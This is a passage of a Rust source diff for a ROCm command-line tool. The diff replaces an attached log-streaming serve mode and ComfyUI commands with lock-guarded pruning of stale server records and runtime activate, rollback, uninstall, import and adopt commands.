parts.next()?.parse().ok()?; - Some(AutostartClaim { - daemon_pid, - spawned_at_ms, - }) -} - -/// Write an autostart claim as `" "`. Best-effort at the call site. -fn write_autostart_claim(path: &Path, claim: AutostartClaim) -> std::io::Result<()> { - std::fs::write( - path, - format!("{} {}", claim.daemon_pid, claim.spawned_at_ms), - ) -} - -/// Whether an existing autostart `claim` means a daemon spawn is still in flight, -/// so the current lock holder should defer rather than spawn a duplicate. A claim -/// counts as in-flight only while its child PID is alive *and* it is younger than -/// `ttl_ms` — the TTL bounds how long a crashed spawn (or a PID later reused by an -/// unrelated process) can suppress autostart. `pid_alive` is injected so the -/// decision is unit-testable without a live process. -fn autostart_spawn_in_flight( - claim: Option, - now_ms: u128, - ttl_ms: u128, - pid_alive: impl Fn(u32) -> bool, -) -> bool { - claim.is_some_and(|claim| { - now_ms.saturating_sub(claim.spawned_at_ms) < ttl_ms && pid_alive(claim.daemon_pid) - }) -} - -/// What ended an attached (`--verbose`/`--foreground`) streaming session. Kept -/// as a plain enum, separate from any terminal I/O, so the follow-up action -/// (detach note vs. stop the server) is unit-testable without a TTY. -#[derive(Debug, Clone, Copy, PartialEq, Eq)] -enum AttachOutcome { - /// Ctrl-D: leave the server running and hand the terminal back. - Detach, - /// Ctrl-C: stop the server, then hand the terminal back. - Stop, - /// The engine process exited on its own while we were streaming its log. - ServerExited, -} - -/// Attached serve path for `--verbose`/`--foreground`: spawn the engine as a -/// detached managed child (the same child the background path spawns) and stream -/// its log in this terminal. Unlike the old in-process foreground, the server -/// survives the session — Ctrl-D detaches and leaves it running, Ctrl-C stops it. -#[allow(clippy::too_many_arguments)] -fn run_attached_service( - engine: &str, - service_id: &str, - requested_model: &str, - resolve: &ResolveModelResponse, - host: &str, - port: u16, - gpu_indices: &[u32], - runtime_id: Option<&str>, - env_id: Option<&str>, - endpoint_api_key: Option<&str>, - launch_lock: rocm_core::FileLock, - require_api_key: bool, -) -> Result<()> { - let paths = AppPaths::discover()?; - - let spawn = spawn_managed_engine_child( - &paths, - engine, - service_id, - requested_model, - resolve, - host, - port, - &resolve.device_policy, - gpu_indices, - runtime_id, - env_id, - resolve.engine_recipe.as_ref(), - require_api_key, - )?; - // The claiming record is persisted (or an existing service was found), so the - // selected GPU is now visible to concurrent auto-selection. Release the launch - // lock before streaming logs, which blocks for the whole attached session. - drop(launch_lock); - - let (service_id, log_path, child_pid) = match spawn { - // A server for this engine+model is already live. Don't fight it for the - // port — point the user at the existing one instead of tailing a log we - // did not start. - ManagedSpawn::AlreadyRunning(report) => { - println!("model already being served"); - println!(" service_id: {}", report.service_id); - println!(" endpoint: {}", report.endpoint_url); - println!(" status: {}", report.status); - println!(" logs: rocm logs {}", report.service_id); - println!(" stop: rocm services stop {} --yes", report.service_id); - drop_orphaned_endpoint_key_on_already_running(&paths, service_id, endpoint_api_key); - return Ok(()); + if !plan.orphans.is_empty() { + if !plan.remove.is_empty() { + let _ = writeln!(output); } - ManagedSpawn::Spawned { record, child_pid } => { - (service_id.to_owned(), record.log_path.clone(), child_pid) + let _ = writeln!( + output, + "{} leftover file(s) with no local server record would be removed:", + plan.orphans.len() + ); + for path in &plan.orphans { + let _ = writeln!(output, " - {}", path.display()); } - }; - - // The child is a managed service that outlives this session once detached, so - // it needs the same supervision the background path gives it: the daemon - // health-checks and auto-recovers managed servers, reconciles a self-exited - // server's record, and feeds the dashboard. Match the background ordering - // (spawn, then ensure the helper) and keep it quiet so no status line breaks - // into the log stream. - ensure_background_helper_running_quiet(true)?; - - // The resolution detail (model, engine, runtime, GPU, warnings) was already - // printed as the "serve plan" block in `serve()`; extend it with the launch - // coordinates and the streaming hint rather than repeating it. - let endpoint = format!("{}/v1", format_http_base_url(host, port)); - println!(" service_id: {service_id}"); - println!(" endpoint: {endpoint}"); - if let Some(key) = endpoint_api_key { - print!("{}", render_endpoint_client_config(&endpoint, key)); } - println!(" streaming engine logs — Ctrl-D detaches (leaves it running), Ctrl-C stops it"); - println!(); - - let outcome = stream_attached_logs(&log_path, child_pid)?; - println!(); - - match outcome { - AttachOutcome::Detach => { - println!("detached — server still running"); - println!(" service_id: {service_id}"); - println!(" endpoint: {endpoint}"); - println!(" list: rocm services"); - println!(" logs: rocm logs {service_id}"); - println!(" stop: rocm services stop {service_id} --yes"); - record_cli_audit_event( - &paths, - "service", - "serve_detach", - "info", - format!("detached from attached serve service_id={service_id} endpoint={endpoint}"), - Some(&service_id), - ); - Ok(()) - } - AttachOutcome::Stop => { - println!("stopping server…"); - match run_internal_sandbox_tool( - &paths, - SandboxToolArg::StopServer, - Some(service_id.clone()), - true, - ) { - Ok(result) => print!("{}", render_service_action_result("stop_server", &result)), - Err(error) => { - // Best-effort direct signal so Ctrl-C never leaves the model - // orphaned when the sandbox stop path fails. - let _ = rocm_core::terminate_process_tree(child_pid); - println!(" note: {error}"); - } - } - record_cli_audit_event( - &paths, - "service", - "serve_stop", - "info", - format!("stopped attached serve service_id={service_id}"), - Some(&service_id), - ); - Ok(()) - } - AttachOutcome::ServerExited => { - println!("server process exited"); - println!(" service_id: {service_id}"); - println!(" recent logs: rocm logs {service_id}"); - Ok(()) + if !plan.skipped.is_empty() { + let _ = writeln!(output); + let _ = writeln!(output, "Left alone:"); + for skipped in &plan.skipped { + let _ = writeln!(output, " - {skipped}"); } } + if dry_run { + let _ = writeln!(output); + // "Nothing was removed", not "nothing was changed": building the plan + // loads every record, and loading corrects a status that no longer + // matches the real processes and persists that correction. No file is + // deleted, which is the promise a dry run of a removal command makes. + let _ = writeln!( + output, + "Nothing was removed. Re-run without --dry-run to remove." + ); + } + output } -/// Restores cooked terminal mode when dropped, so [`stream_attached_logs`] leaves -/// the terminal usable on every exit path (normal return, `?` error, or panic). -struct RawModeGuard; - -impl Drop for RawModeGuard { - fn drop(&mut self) { - let _ = crossterm::terminal::disable_raw_mode(); - } +#[derive(Debug, Default)] +struct ServicePruneOutcome { + text: String, + removed_records: usize, + removed_files: usize, + /// Records left in place purely because they are still running. + skipped_live: usize, + skipped_recent: usize, + /// Paths the run could not delete, one message each. Collected rather than + /// propagated so the plan still prints and the audit event is still + /// recorded; the caller turns a non-empty list into a failing exit. + failures: Vec, } -/// Map a key press (control modifier + lowercased character) to the attach -/// action it triggers, if any. Factored out of the raw-mode reader loop so the -/// Ctrl-D/Ctrl-C mapping is unit-testable without a terminal. -const fn detach_key_outcome(ctrl: bool, ch: char) -> Option { - if !ctrl { - return None; +/// Carry out everything `plan` names, recording what happened in `outcome`. +/// +/// Split out of [`prune_managed_service_records`] rather than inlined there so a +/// test can hand it a plan entry whose record came back to life after the plan +/// was built. That window is the only reason the liveness re-check below exists, +/// and no test driving `prune` end to end can open it: one call builds the plan +/// and applies it, so a record is either live for both halves or dead for both. +fn apply_service_prune_plan( + paths: &AppPaths, + plan: &ServicePrunePlan, + outcome: &mut ServicePruneOutcome, +) { + for entry in &plan.remove { + // Liveness was snapshotted while the plan was built. A + // `rocm services restart --yes` landing in that window would have + // its log and 0600 endpoint key deleted out from under a live process, + // so re-read the record immediately before touching its files — + // `remove` narrows the same window by loading the record it deletes. + // Neither closes it: the check and the delete are not atomic either way. + if load_managed_service(paths, &entry.service_id) + .is_ok_and(|record| managed_service_record_is_in_use(&record)) + { + outcome.skipped_live += 1; + let _ = writeln!( + outcome.text, + " {} started again while this ran and was left alone.", + entry.service_id + ); + continue; + } + let (removed, failures) = try_remove_service_record_artifacts(&entry.artifacts); + outcome.removed_files += removed.len(); + if failures.is_empty() { + outcome.removed_records += 1; + } + outcome.failures.extend(failures); } - match ch { - 'c' => Some(AttachOutcome::Stop), - 'd' => Some(AttachOutcome::Detach), - _ => None, + for path in &plan.orphans { + match fs::remove_file(path) { + Ok(()) => outcome.removed_files += 1, + Err(error) if error.kind() == std::io::ErrorKind::NotFound => {} + Err(error) => outcome + .failures + .push(format!("{}: {error}", path.display())), + } } } -/// Follow `log_path` in the terminal until the user presses Ctrl-D (detach) or -/// Ctrl-C (stop), or the engine process exits. Uses crossterm raw mode to -/// capture the keys directly (in raw mode Ctrl-C does not raise SIGINT, so we see -/// it as a key event). When stdin is not a TTY (piped/CI), keystroke capture is -/// impossible, so we follow the log until the process exits instead. -fn stream_attached_logs(log_path: &Path, child_pid: u32) -> Result { - use std::io::IsTerminal as _; - use std::sync::Arc; - use std::sync::atomic::{AtomicBool, Ordering}; - use std::sync::mpsc; - - if !std::io::stdin().is_terminal() { - return stream_attached_logs_no_tty(log_path, child_pid); - } - - // Enter raw mode *before* spawning the key reader. In raw mode Ctrl-C arrives - // as a key event instead of SIGINT; if the reader started first, a Ctrl-C in - // that window would kill the CLI outright (leaving the detached child alive - // but printing no detach/stop message). The guard restores cooked mode on - // every exit path (normal return, `?` error, panic). - crossterm::terminal::enable_raw_mode().context("failed to enter raw terminal mode")?; - let _raw_guard = RawModeGuard; - - let stop = Arc::new(AtomicBool::new(false)); - let (tx, rx) = mpsc::channel::(); - - let reader_stop = Arc::clone(&stop); - let reader = thread::spawn(move || { - use crossterm::event::{self, Event, KeyCode, KeyEventKind, KeyModifiers}; - while !reader_stop.load(Ordering::Relaxed) { - match event::poll(Duration::from_millis(100)) { - Ok(true) => match event::read() { - Ok(Event::Key(key)) if key.kind != KeyEventKind::Release => { - let outcome = match key.code { - KeyCode::Char(ch) => detach_key_outcome( - key.modifiers.contains(KeyModifiers::CONTROL), - ch.to_ascii_lowercase(), - ), - _ => None, - }; - if let Some(outcome) = outcome { - let _ = tx.send(outcome); - break; - } - } - Ok(_) => {} - Err(_) => break, - }, - Ok(false) => {} - Err(_) => break, - } - } - }); - - let mut stdout = io::stdout(); - let mut log_reader: Option> = None; - let mut line = String::new(); - let outcome = loop { - if log_reader.is_none() { - log_reader = fs::File::open(log_path).ok().map(io::BufReader::new); - } - if let Some(reader) = log_reader.as_mut() { - loop { - line.clear(); - match reader.read_line(&mut line) { - Ok(0) => break, - Ok(_) => { - // Raw mode disables the terminal's own \n -> \r\n - // translation, so emit an explicit carriage return to - // keep the log left-aligned instead of stair-stepping. - let _ = write!(stdout, "{}\r\n", line.trim_end_matches('\n')); - let _ = stdout.flush(); - } - Err(_) => break, - } - } - } - - if let Ok(signal) = rx.try_recv() { - break signal; - } - if !process_is_running(child_pid) { - break AttachOutcome::ServerExited; - } - thread::sleep(Duration::from_millis(150)); +/// Bulk-remove the local server records that are no longer running. +/// +/// Unlike [`remove_managed_service_record`] a live record is *skipped*, not an +/// error: a bulk cleanup that aborted because one server happened to be serving +/// would be unusable on the hosts that need it most. The count is reported so +/// the skip is never silent. +/// +/// # Why this takes the managed-launch lock +/// +/// [`collect_service_orphans`] calls a file with no `.json` beside it a +/// leftover, and that is also what a launch looks like mid-flight: `serve` +/// writes the 0600 `.endpoint-key` at the top of the managed path, and the +/// first `.json` only lands at `record.write()` inside +/// [`spawn_managed_engine_child`]. Between those two writes a live server's +/// secret is indistinguishable from a leftover, and `--any-age` removes the age +/// gate that used to hide the window, so a concurrent +/// `rocm services prune --any-age --yes` deleted it. +/// +/// `serve` already holds `managed_launch_lock_path` across the whole of that +/// window — [`select_gpu_indices_under_launch_lock`] acquires it, hands the +/// guard back to its caller, and `start_managed_service`/`run_attached_service` +/// only drop it once the record is persisted (see that function's own comment, +/// which this one must not drift from). The gap was simply that prune never +/// acquired it: the helper above was the single acquirer in the tree. Taking it +/// here closes the window deterministically, for any number of records, which no +/// age floor can — the window is not short and is not bounded, because +/// `spawn_managed_engine_child`'s idempotency guard runs `load_managed_services` +/// first, and that refreshes every `ready`/`running` record through a 750ms +/// listing plus an up-to-8s inference probe ([`rocm_core::INFERENCE_PROBE_TIMEOUT`]), +/// sequentially, over a record count the user controls. +/// +/// **Scope: the whole operation, not just the scan.** Holding it across +/// [`build_service_prune_plan`] alone is very nearly enough — a launch already +/// under way blocks prune until its manifest exists, at which point its key is +/// no longer an orphan, and a launch starting after the scan has not written a +/// key yet so it cannot be in the plan. "Cannot be in the plan" leans on +/// `generate_service_id` minting a millisecond-unique id, though, which is a +/// property of an unrelated function and a backwards clock step would break. +/// Covering [`apply_service_prune_plan`] too makes the exclusion unconditional, +/// and costs nothing worth measuring next to the scan it already serializes: +/// the apply phase is `unlink` calls plus one manifest read per record. +/// +/// That wider scope is *not* pinned by a test, and neither the unit test nor +/// `service-cleanup-07` fails if the guard is released after plan building. It +/// cannot be pinned at that level: the only behaviour the extra span changes is +/// the id-collision case above, which needs `generate_service_id` to mint an id +/// a previous run already used — i.e. a backwards clock step — and any test that +/// instead tried to catch a launch slipping in between the two phases would be +/// racing a microsecond-wide window, so it would pass on a timing-lucky run +/// rather than flake. Treat the scope as a deliberately conservative choice +/// argued from the code, not as a property under regression cover: narrowing it +/// will not turn anything red. +/// +/// **What it costs.** Prune's own plan building calls `load_managed_services`, +/// so prune can now delay a launch for as long as its own scan runs, and a +/// launch already under way delays prune for as long as *it* runs. Neither +/// direction is bounded: the per-record worst case is the same 8.75s, over a +/// record count the user controls, and `FileLock::acquire` has no timeout. The +/// usual wait is milliseconds, because those are ceilings on probes that hang +/// rather than costs every record pays — but "usually imperceptible" is the +/// honest claim, not "a few seconds". Because the wait has no upper bound, it is +/// announced on screen ([`cli_progress::AnimatedSpinner`]) instead of leaving +/// the command silent. `--dry-run` takes the lock as well: a preview that +/// disagreed with what `--yes` would do is worth less than the launch it blocks. +/// +/// **What `--dry-run` writes.** `FileLock::acquire` creates the lock file and +/// any missing parents, and `services` only calls `AppPaths::discover`, never +/// `ensure` — so a preview on a host that has never served now creates +/// `/services/` and an empty `launch.lock`, and fails outright where the +/// data directory is not writable. Both are accepted. The lock file is a 0-byte +/// rendezvous point inside the CLI's own data directory, in the directory +/// `rocm serve` creates there anyway. And a data directory the CLI cannot write +/// is one no managed server could have written a record into, so the preview +/// that now errors had nothing to report; where records *do* exist, deleting +/// them needs write permission on the very directory the lock needs, so a +/// preview that still succeeded would be predicting a `--yes` run that cannot +/// run — the same kind of disagreement the paragraph above declines to ship. +/// +/// **No nested acquire.** `FileLock::acquire` blocks with no `try_` variant, so +/// a second acquire on a path already held by this process would hang forever. +/// Nothing under either phase acquires this path: the only other +/// `FileLock::acquire` in the tree is `ensure_background_helper_running_quiet`, +/// on a different lock file, and it is not reachable from here. In the other +/// direction `serve` holds this lock but never runs prune, in-process or as a +/// subprocess. +fn prune_managed_service_records( + paths: &AppPaths, + hours: u64, + dry_run: bool, + yes: bool, +) -> Result { + if !dry_run && !yes { + bail!( + "Removing local server records requires --yes.\n\nTry: rocm services prune --dry-run\nThen: rocm services prune --yes" + ); + } + // Held until this function returns, so no managed launch can be between its + // key write and its record write while the sweep looks at the directory. + // + // The acquire blocks with no timeout, and the thing it blocks behind is a + // launch whose own duration is unbounded — so it is announced rather than + // left as a silent hang, in the command a user reaches for precisely when a + // launch has gone wrong. `AnimatedSpinner` rather than the caller-driven + // `Spinner` because there is no loop here to tick one: the wait is a single + // blocking syscall, so only a background ticker can keep it moving. It is + // TTY-gated and erased on drop, so an uncontended prune — the normal case, + // where this costs microseconds — leaves nothing behind, and piped or + // redirected output never sees it at all. + let _launch_lock = { + let _waiting = + cli_progress::AnimatedSpinner::start("Waiting for a launch already under way…"); + rocm_core::FileLock::acquire(paths.managed_launch_lock_path())? + }; + let min_age = Duration::from_secs(hours.saturating_mul(3600)); + let plan = build_service_prune_plan(paths, min_age, hours, SystemTime::now())?; + let mut outcome = ServicePruneOutcome { + text: render_service_prune_plan(&plan, hours, dry_run), + skipped_live: plan.skipped_live, + skipped_recent: plan.skipped_recent, + ..ServicePruneOutcome::default() }; + if dry_run { + return Ok(outcome); + } - stop.store(true, Ordering::Relaxed); - let _ = reader.join(); - Ok(outcome) -} + apply_service_prune_plan(paths, &plan, &mut outcome); -/// Non-interactive fallback for [`stream_attached_logs`]: no keystroke capture, -/// so just follow the log until the (detached) engine process exits. A Ctrl-C -/// here delivers SIGINT to this process and leaves the managed server running. -fn stream_attached_logs_no_tty(log_path: &Path, child_pid: u32) -> Result { - let mut stdout = io::stdout(); - let mut log_reader: Option> = None; - let mut line = String::new(); - loop { - if log_reader.is_none() { - log_reader = fs::File::open(log_path).ok().map(io::BufReader::new); - } - if let Some(reader) = log_reader.as_mut() { - loop { - line.clear(); - match reader.read_line(&mut line) { - Ok(0) => break, - Ok(_) => { - let _ = write!(stdout, "{line}"); - let _ = stdout.flush(); - } - Err(_) => break, - } - } - } - if !process_is_running(child_pid) { - return Ok(AttachOutcome::ServerExited); + let _ = writeln!(outcome.text); + let _ = write!( + outcome.text, + "{}", + cli_report::ActionReport::new("Local server records removed") + .detail("records removed", outcome.removed_records) + .detail("files removed", outcome.removed_files) + .detail("still running, left alone", outcome.skipped_live) + .detail("too recent, kept", outcome.skipped_recent) + .render() + ); + // A bulk cleanup that silently keeps things is indistinguishable from one + // that found nothing, and the records most worth reading are exactly the + // ones this keeps. + if outcome.skipped_recent > 0 { + let _ = writeln!( + outcome.text, + " Those are recent enough to still be worth reading: `rocm services logs `.\n \ + Run `rocm services prune --any-age --yes` to remove them too." + ); + } + if !outcome.failures.is_empty() { + let _ = writeln!(outcome.text); + let _ = writeln!( + outcome.text, + "{} file(s) could not be removed:", + outcome.failures.len() + ); + for failure in &outcome.failures { + let _ = writeln!(outcome.text, " - {failure}"); } - thread::sleep(Duration::from_millis(200)); + let _ = writeln!( + outcome.text, + "Re-running is safe: everything already removed stays removed." + ); } + Ok(outcome) } -fn services(command: Option) -> Result<()> { +fn runtimes(command: Option) -> Result<()> { let paths = AppPaths::discover()?; - match command.unwrap_or(ServicesCommand::List { - all: false, - json: false, - }) { - ServicesCommand::List { all, json } => { - if json { - print!("{}", render_services_json(&paths, all)?); - } else { - print!("{}", render_services_text(&paths, all)?); - } - Ok(()) - } - ServicesCommand::Logs { service_id } => { - print!("{}", render_service_logs_text(&paths, &service_id)?); - Ok(()) - } - ServicesCommand::Stop { service_id, yes } => { - run_approved_service_action(&paths, "stop_server", &service_id, yes) - } - ServicesCommand::Restart { service_id, yes } => { - run_approved_service_action(&paths, "restart_server", &service_id, yes) + let mut config = RocmCliConfig::load(&paths)?; + + match command.unwrap_or(RuntimesCommand::List) { + RuntimesCommand::List => { + print!("{}", render_runtimes_text(&paths, &config)?); } - ServicesCommand::Remove { service_id, yes } => { - print!( - "{}", - remove_managed_service_record(&paths, &service_id, yes)? + RuntimesCommand::Activate { runtime } => { + let result = activate_runtime(&paths, &mut config, &runtime)?; + println!("runtime activated"); + println!(" runtime_id: {}", result.runtime_id); + println!(" runtime_key: {}", result.runtime_key); + println!( + " changed_from_runtime_key: {}", + result.previous_runtime_key.as_deref().unwrap_or("") + ); + println!( + " note: running services keep their recorded runtime until they are restarted" ); + if result.previous_runtime_key.is_some() { + println!("{ROLLBACK_RECOVERY_HINT}"); + } + println!(" marker: {}", active_runtime_marker_path(&paths).display()); + println!(" config: {}", paths.config_path().display()); record_cli_audit_event( &paths, - "service", - "remove_record", + "runtime", + "runtime_activate", "info", - format!("removed local server record {service_id}"), - Some(&service_id), + format!( + "activated runtime_key={} runtime_id={}", + result.runtime_key, result.runtime_id + ), + None, ); - Ok(()) - } - ServicesCommand::Prune { - older_than_hours, - any_age, - dry_run, - yes, - } => { - let older_than_hours = service_prune_min_age_hours(older_than_hours, any_age); - let outcome = prune_managed_service_records(&paths, older_than_hours, dry_run, yes)?; - print!("{}", outcome.text); - if !dry_run && (outcome.removed_records > 0 || outcome.removed_files > 0) { - record_cli_audit_event( - &paths, - "service", - "prune_records", - "info", - format!( - "removed {} local server record(s) and {} leftover file(s) older than {older_than_hours}h", - outcome.removed_records, outcome.removed_files - ), - None, - ); - } - // Deliberately after the print and the audit event: a file this run - // could not delete still has to fail the command, but not at the - // cost of the record of what it *did* delete. - if !outcome.failures.is_empty() { - // Only reachable through this dispatch, so no unit test covers - // it: `service-cleanup-06` in - // `features/service_record_cleanup.feature` is its cover. - bail!( - "{} file(s) could not be removed; see the list above", - outcome.failures.len() - ); - } - Ok(()) } - } -} - -fn comfyui(command: Option) -> Result<()> { - let paths = AppPaths::discover()?; - let config = RocmCliConfig::load(&paths).unwrap_or_default(); - match command.unwrap_or(ComfyuiCommand::Status) { - ComfyuiCommand::Status => { - print!("{}", comfyui::render_status(&paths, &config)?); + RuntimesCommand::Rollback => { + let result = rollback_runtime(&paths, &mut config)?; + println!("runtime rolled back"); + println!(" runtime_id: {}", result.runtime_id); + println!(" runtime_key: {}", result.runtime_key); + println!( + " changed_from_runtime_key: {}", + result.previous_runtime_key.as_deref().unwrap_or("") + ); + println!( + " note: running services keep their recorded runtime until they are restarted" + ); + println!(" marker: {}", active_runtime_marker_path(&paths).display()); + println!(" config: {}", paths.config_path().display()); record_cli_audit_event( &paths, - "app", - "comfyui_status", + "runtime", + "runtime_rollback", "info", - "rendered ComfyUI status", + format!( + "rolled back to runtime_key={} runtime_id={}", + result.runtime_key, result.runtime_id + ), None, ); - Ok(()) } - ComfyuiCommand::ModelsPath => { - print!("{}", comfyui::render_models_path(&paths)?); + RuntimesCommand::Uninstall { + runtime, + yes, + dry_run, + } => { + let plan = plan_runtime_uninstall(&paths, &config, &runtime)?; + print_runtime_uninstall_plan(&plan); + + if dry_run { + println!("dry run: no changes made"); + return Ok(()); + } + + let plan = if yes { + plan + } else { + if !interactive_terminal() { + bail!("runtimes uninstall requires --yes outside an interactive terminal"); + } + match confirm_and_revalidate_runtime_uninstall(&paths, plan, confirm_uninstall)? { + RuntimeUninstallConfirmation::Cancelled => { + println!("runtime uninstall cancelled"); + return Ok(()); + } + RuntimeUninstallConfirmation::Confirmed { + plan: revalidated, + config: reloaded, + } => { + config = *reloaded; + *revalidated + } + } + }; + let result = apply_runtime_uninstall(&paths, &mut config, plan)?; + + let mut report = cli_report::ActionReport::new("runtime removed") + .detail("runtime_id", &result.runtime_id) + .detail("runtime_key", &result.runtime_key) + .detail("registry_removed", result.registry_path.display()); + match result.removed_install_root.as_ref() { + Some(path) => { + report = report.detail("folder_removed", path.display()); + } + None if result.read_only => { + report = report.detail("folder_removed", "no").detail( + "note", + "existing external runtime folder was left untouched", + ); + } + None if result.manifest_mismatch => { + report = report.detail("folder_removed", "no").detail( + "note", + "local runtime manifest did not match the registry; the folder was \ + left in place to avoid deleting the wrong install", + ); + } + None => { + report = report.detail("folder_removed", "no"); + } + } + if result.default_runtime_cleared { + report = report + .detail("default_runtime", "cleared") + .detail("next step", "rocm runtimes activate "); + } + report = report.detail("config", paths.config_path().display()); + print!("{}", report.render()); record_cli_audit_event( &paths, - "app", - "comfyui_models_path", + "runtime", + "runtime_uninstall", "info", - "rendered ComfyUI models path", + format!( + "removed runtime_key={} runtime_id={} removed_install_root={} \ + was_active={} default_runtime_cleared={}", + result.runtime_key, + result.runtime_id, + result + .removed_install_root + .as_ref() + .map_or_else(|| "none".to_owned(), |path| path.display().to_string()), + result.was_active, + result.default_runtime_cleared, + ), None, ); - Ok(()) } - ComfyuiCommand::Logs { lines } => { - print!("{}", comfyui::render_logs(&paths, lines)?); + RuntimesCommand::Import { manifest, replace } => { + let imported = import_runtime_manifest(&paths, &manifest, replace)?; + println!("runtime imported"); + println!(" runtime_id: {}", imported.runtime_id); + println!(" runtime_key: {}", imported.runtime_key); + println!(" mode: read-only"); + println!(" source: {}", manifest.display()); + println!( + " registry: {}", + runtime_manifest_path(&paths, &imported.runtime_key).display() + ); + println!( + " next step: rocm runtimes activate {}", + imported.runtime_key + ); record_cli_audit_event( &paths, - "app", - "comfyui_logs", + "runtime", + "runtime_import", "info", - "rendered ComfyUI logs", + format!( + "imported read-only runtime_key={} runtime_id={} source={}", + imported.runtime_key, + imported.runtime_id, + manifest.display() + ), None, ); - Ok(()) } - ComfyuiCommand::Install { + RuntimesCommand::Adopt { + python, + root, runtime_id, - reinstall, - dry_run, - yes: _, + runtime_key, + channel, + replace, } => { - match comfyui::install( + let adopted = adopt_runtime_from_python_options( &paths, - &config, - comfyui::ComfyUiInstallOptions { - runtime_id: runtime_id.clone(), - reinstall, - dry_run, + AdoptRuntimeOptions { + python_input: python, + install_root: root, + runtime_id, + runtime_key, + channel, + replace, }, - ) { - Ok(text) => { - print!("{text}"); - record_cli_audit_event( - &paths, - "app", - if dry_run { - "comfyui_install_dry_run" - } else { - "comfyui_install" - }, - "info", - format!( - "ComfyUI install completed runtime={} reinstall={} dry_run={}", - runtime_id.as_deref().unwrap_or(""), - reinstall, - dry_run - ), - None, - ); - Ok(()) - } - Err(error) => { - record_cli_audit_event( - &paths, - "app", - if dry_run { - "comfyui_install_dry_run" - } else { - "comfyui_install" - }, - "error", - format!( - "ComfyUI install failed runtime={} reinstall={} dry_run={}: {error}", - runtime_id.as_deref().unwrap_or(""), - reinstall, - dry_run - ), - None, - ); - Err(error) - } - } + )?; + println!("runtime adopted"); + println!(" runtime_id: {}", adopted.runtime_id); + println!(" runtime_key: {}", adopted.runtime_key); + println!(" mode: read-only"); + println!( + " python_executable: {}", + adopted.python_executable.as_deref().unwrap_or("") + ); + println!(" root: {}", adopted.install_root.display()); + println!( + " registry: {}", + runtime_manifest_path(&paths, &adopted.runtime_key).display() + ); + println!( + " next step: rocm runtimes activate {}", + adopted.runtime_key + ); + record_cli_audit_event( + &paths, + "runtime", + "runtime_adopt", + "info", + format!( + "adopted read-only runtime_key={} runtime_id={} root={}", + adopted.runtime_key, + adopted.runtime_id, + adopted.install_root.display() + ), + None, + ); } - ComfyuiCommand::Start { - host, - port, - no_open_browser, - yes: _, - } => match comfyui::start( - &paths, - comfyui::ComfyUiStartOptions { - host, - port, - no_open_browser, - }, - ) { - Ok(text) => { - print!("{text}"); - record_cli_audit_event( - &paths, - "app", - "comfyui_start", - "info", - "ComfyUI start requested", - None, - ); - Ok(()) - } - Err(error) => { - record_cli_audit_event( - &paths, - "app", - "comfyui_start", - "error", - format!("ComfyUI start failed: {error}"), - None, - ); - Err(error) - } - }, - ComfyuiCommand::Stop { yes: _ } => match comfyui::stop(&paths) { - Ok(text) => { - print!("{text}"); - record_cli_audit_event( - &paths, - "app", - "comfyui_stop", - "info", - "ComfyUI stop requested", - None, - ); - Ok(()) - } - Err(error) => { - record_cli_audit_event( - &paths, - "app", - "comfyui_stop", - "error", - format!("ComfyUI stop failed: {error}"), - None, - ); - Err(error) - } - }, } -} -fn run_approved_service_action( - paths: &AppPaths, - tool: &str, - service_id: &str, - yes: bool, -) -> Result<()> { - validate_service_id(service_id)?; - if !yes { - bail!( - "{} local server `{service_id}` requires --yes.\n\nTry: rocm services {} {service_id} --yes", - service_action_verb(tool), - service_action_command(tool) - ); - } - let sandbox_tool = sandbox_tool_arg_from_service_tool(tool)?; - let result = run_internal_sandbox_tool(paths, sandbox_tool, Some(service_id.to_owned()), true)?; - print!("{}", render_service_action_result(tool, &result)); - record_cli_audit_event( - paths, - "service", - tool, - "info", - format!( - "{} managed service {service_id}", - service_action_past_tense(tool) - ), - Some(service_id), - ); Ok(()) } -fn sandbox_tool_arg_from_service_tool(tool: &str) -> Result { - match tool { - "stop_server" => Ok(SandboxToolArg::StopServer), - "restart_server" => Ok(SandboxToolArg::RestartServer), - "list_servers" => Ok(SandboxToolArg::ListServers), - other => bail!("unsupported service tool `{other}`"), - } -} - -fn service_action_command(tool: &str) -> &'static str { - match tool { - "restart_server" => "restart", - "stop_server" => "stop", - _ => "run", - } -} - -fn service_action_verb(tool: &str) -> &'static str { - match tool { - "restart_server" => "Restarting", - "stop_server" => "Stopping", - _ => "Changing", - } -} - -fn service_action_past_tense(tool: &str) -> &'static str { - match tool { - "restart_server" => "restarted", - "stop_server" => "stopped", - _ => "updated", - } +#[derive(Debug, Clone, Serialize, Deserialize)] +struct ActiveRuntimeMarker { + runtime_id: String, + runtime_key: String, + manifest_path: PathBuf, + install_root: PathBuf, + previous_runtime_id: Option, + previous_runtime_key: Option, + activated_at_unix_ms: u128, } -// --------------------------------------------------------------------------- -// Local server record removal -// --------------------------------------------------------------------------- - -/// Default age gate for `rocm services prune`. -/// -/// A record that has only just stopped is the one a user is most likely to still -/// want: `rocm services list --all` advertises `rocm services restart --yes` -/// for exactly that record, and pruning it destroys both that affordance and the -/// log explaining why it died. Defaulting to a day means a bulk cleanup reclaims -/// the accumulated history without swallowing the failure the user is currently -/// looking at. `--older-than-hours 0` opts out. -const DEFAULT_SERVICE_PRUNE_MIN_AGE_HOURS: u64 = 24; - -/// The on-disk files one managed-service record owns. -/// -/// Note `engine_state` lives *outside* `services_dir`, under -/// `/engines//state/`, so deleting the two files in `services_dir` -/// leaves it behind — that is how orphaned engine state accumulates today. -/// -/// Every path is rebuilt here from [`AppPaths`] plus the *validated* id and -/// engine, deliberately **not** read from the record's own `manifest_path` / -/// `log_path` / `engine_state_path` fields. Those are deserialized from a JSON -/// file under `~/.rocm` that anything can write, and this is the one code path -/// that deletes what they name. #[derive(Debug, Clone)] -struct ServiceRecordArtifacts { - manifest: PathBuf, - log: PathBuf, - engine_state: PathBuf, - endpoint_key: PathBuf, -} - -impl ServiceRecordArtifacts { - /// Every artifact, in the order they are reported and deleted. - fn paths(&self) -> [&Path; 4] { - [ - &self.manifest, - &self.log, - &self.engine_state, - &self.endpoint_key, - ] - } -} - -/// Validate a manifest-supplied engine name as a single filesystem path -/// component. -/// -/// [`AppPaths::service_engine_state_path`] joins the engine name into a path -/// this module deletes, so an engine of `../../..` in a hand-edited manifest -/// would otherwise aim the removal outside `/engines`. Reuses the same -/// rules as [`validate_service_id`] — `ServiceId` is the repo's single source of -/// truth for "safe as one path component", and nothing about those rules is -/// specific to service ids. -fn validate_engine_component(engine: &str) -> Result<()> { - rocm_core::ServiceId::new(engine).with_context(|| { - format!("managed service engine `{engine}` is not a safe path component") - })?; - Ok(()) -} - -fn service_record_artifacts( - paths: &AppPaths, - 